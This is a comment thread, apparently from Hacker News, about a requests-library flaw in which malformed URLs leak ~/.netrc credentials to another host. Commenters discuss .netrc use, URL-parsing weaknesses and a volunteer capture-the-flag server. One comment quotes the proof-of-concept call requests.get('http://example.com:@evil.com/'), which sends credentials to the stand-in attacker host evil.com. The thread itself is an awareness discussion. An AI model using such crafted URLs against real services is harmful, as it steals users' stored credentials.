DiffX – Next-Generation Extensible Diff Format (diffx.org)

Given that the actual vulnerability seems relatively niche along with it being such a popular library officially maintained by the Python foundation, the scariest line in the advisory is almost certainly:

The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.

Daviey · 10h ago

Well, it's probably just a coincidence, but I literally just spun up a web service that is vulnerable to this: https://isitup.daviey.com/

The code doesn't make any reference to a .netrc, but I happen to have one in ~/.netrc:

  machine localhost
  login *REDACTED*
  password CTF{*REDACTED*}

It's not ideal that requests automatically slurps credentials from ~/.netrc and leaks them, even when my code never references it. It's possible that the netrc is on the same server from a different application, developer debugging environment, or just forgotten about etc.

First one to grab the flag wins, well, nothing. But have fun. I'll keep it online for a couple of weeks, or until the VC money runs out.

dgl · 10h ago

  Sorry, you have been blocked
  You are unable to access daviey.com

Looks like Cloudflare has decided the whole thing is dodgy. Or doesn't like my IP address...

Daviey · 10h ago

That's really strange... because it seems to be working for some people (already have the first solve). I can't see an issues in CF...

EDIT: I had the security in CF too robust, try now?

woodruffw · 12h ago

Another good example of lax URL parsing/parser differentials being problematic.

That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.

w7 · 10h ago

I think it may be in use by tools without people being aware. I decided to check my workstation for it just in case, figuring the file would be empty, or not exist.

Instead it seems to be populated with what seem to be Heroku API and git credentials.

edelbitter · 8h ago

Well then go check if you are for some reason using any of the other surprise features [1], like honoring the CURL_CA_BUNDLE env variable, or not honoring the PROXIES env variable if REQUEST_METHOD is set.

1: https://requests.readthedocs.io/en/latest/api/#requests.Sess...

cozzyd · 9h ago

I have it on my laptop because it's the most convenient way to download datasets from various repositories (e.g. NASA Earth Data).

audiodude · 10h ago

If you, like me, have never heard of a .netrc file...

https://everything.curl.dev/usingcurl/netrc.html

neilv · 8h ago

There might be a funny thing with FTP, in which, if a company is using FTP, it's probably for something important.

(Even if it's a bad idea now, and compromise of it could result in a bad quarter or regulatory action, legacy systems and priorities happen.)

zx8080 · 7h ago

A funny commit message in the root cause (as stated in the linked post) commit:

> Push code review advice from @sigmavirus24

dfedbeef · 7h ago

I feel this

awoimbee · 12h ago

That's some horrible url parsing code...

But honestly urllib sucks:

url.hostname doesn't return the port url.netloc also returns the basic auth part So you have to f"{u.hostname}:{u.port}"

edelbitter · 8h ago

Wait till you see the cPython stdlib email parser..

Any programming language these days should ship a decent rfc5234 API in the standard library, so you do not get these kinds of problems in slightly different fashion for each and every library/program.

pixl97 · 14h ago

Execute the call

>requests.get('http://example.com:@evil.com/')

>Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call

Instead of having a url parse error it appears to drop the : and use the password:domain format.

dcrazy · 14h ago

> The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.

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